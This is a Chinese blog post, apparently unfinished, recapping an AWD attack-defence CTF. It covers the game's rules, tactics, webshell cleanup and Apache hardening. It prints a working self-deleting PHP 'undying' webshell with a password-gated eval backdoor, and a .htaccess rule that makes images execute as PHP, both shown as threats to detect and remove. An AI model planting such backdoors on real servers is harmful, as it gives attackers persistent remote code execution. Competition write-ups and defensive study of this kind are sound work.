自己一次线下AWD线下赛总结
6号的时候参加了技协杯awd线下攻防赛,虽然被打的很惨,但tm很涨教训,感觉联通的那队有套路,8队6队都没防,一直在攻击,我靠,光辉之间那厮近9000多分。。。
AWD即Attack With Defence,一般awd团队赛都是三个人共同维护一台机器或者多台机器,两台Web,一台pwn,利用漏洞攻击其队的flag得分,其他队伍提交了你的flag你就会失分,那么此时就需要团队协作防御和攻击所维护的服务器
关于AWD一些固定规则:
- 一般分配Web服务器,Pwn服务器,服务器或叫做Gamebox(多数为Linux)某处存在flag
- 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(没遇到过)
- flag在主办方的设定下每隔一定时间(通常是5分钟)刷新一轮
- 各队一般都有自己的初始分数,flag一旦被其他队伍拿走,该队扣除一定积分,其他队伍得分
- 主办方会对每个队伍的服务进行check,服务宕机扣除分数
- 一般每个队伍会给一个低权限用户,非root权限
awd赛前技巧
赛前一定要把线下所有用到的脚本在本地在跑一下,一些python常用库,
比赛时候,出现一血只要不是自己,看到谁被打了立马就去打被攻击打那个人,短时间内肯定来不及修复,自己被打了,可以去看流量,比赛过程中如果实在发现不了漏洞,可以多观察一下流量
防守技巧
Web题加固
- 代码层,是否有webshell,是否有rce漏洞
- 中间件层,apache解析漏洞,目录遍历等
- 其他服务,mysql未授权访问什么的
内存马
awd中最头疼的应该就是不死马了,可以打别人,别人也会向你服务器种不死马
比如像如下:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
我们如何发现它?
ls -a
如何解决?
rm .webshell.php && mkdir .webshell.php //建立一个和不死马一样名字的文件夹,这样不死马就写不进去了
完全杀死不死马,得清理内存
ps -aux|grep 'www-data'|awk'{print$2}'|xargs kill -9 // 杀进程得在root或者www-data权限下
webshell查杀
因为比赛现场大多数都是没有网盾,所以你的webshell扫描工具联网是用不了的,
一定要选择可以离线使用的webshell查杀工具,可以选择D盾,但距离比赛前一天一定要升级一下裤
长亭的牡云扫描器也是可以离线使用的
web加固
其他rce漏洞
- 反序列化,命令注入等
- 赛前一定把常用的各种cms都准备一遍,一般外国的比较多,代码实在审计不出来直接把代码覆盖,cms最新的漏洞,怎么利用赛场你要做的不光是防住,更多的是攻击,所以怎么代码审计能力一定要有
- 其他的漏洞,就是一些常见的;
sql注入
XXE
SSRF
… …
根据敏感关键字回溯参数传递过程
- .htaccess时常就会被当作后门使用,要注意,比如
<FilesMatch "\.(gif|jpe?g|png)$">
SetHandler application/x-httpd-php
</FilesMatch>
Apache安全加固
- 账号设置
以专门的用户账号和用户组运行apache服务,这里要说明要熟悉不同系统apache.conf,httpd.conf的位置,centos,debian,ubuntu等
根据需要,为apache服务创建用户及用户组,如果没有设置用户和组,则新建用户,并在apache配置文件中进行指定
创建apache用户组
groupadd Apache
创建apache用户并加入apache用户组
useradd apache -g Apache
将下面两行设置参数加入apache配置文件http.conf,debian下可能是etc下的apache2/apache2.conf
User apache
Group apache
检查httpd.conf或者是apache2.conf配置文件中是否允许使用非专用账号运行(如root)apache服务
默认设置一般即符合要求,linux系统中默认使用apache或者nobody用户
- 授权设置
严格控制apache主目录的访问权限,非超级用户不能修改该目录中的内容
aoache 的主目录应对于apache server配置文件httpd.conf中的Server Root控制项,设置为:
Server Root /usr/local/apahe
判定条件 非超级用户不能修改该目录的内容
检测操作:常识进行修改,看是否能修改目录中的内容
该目录一般设置为/etc/httpd目录,默认情况下属root 用户,其他用户不鞥修改目录中文件
先去吃饭,回来在更新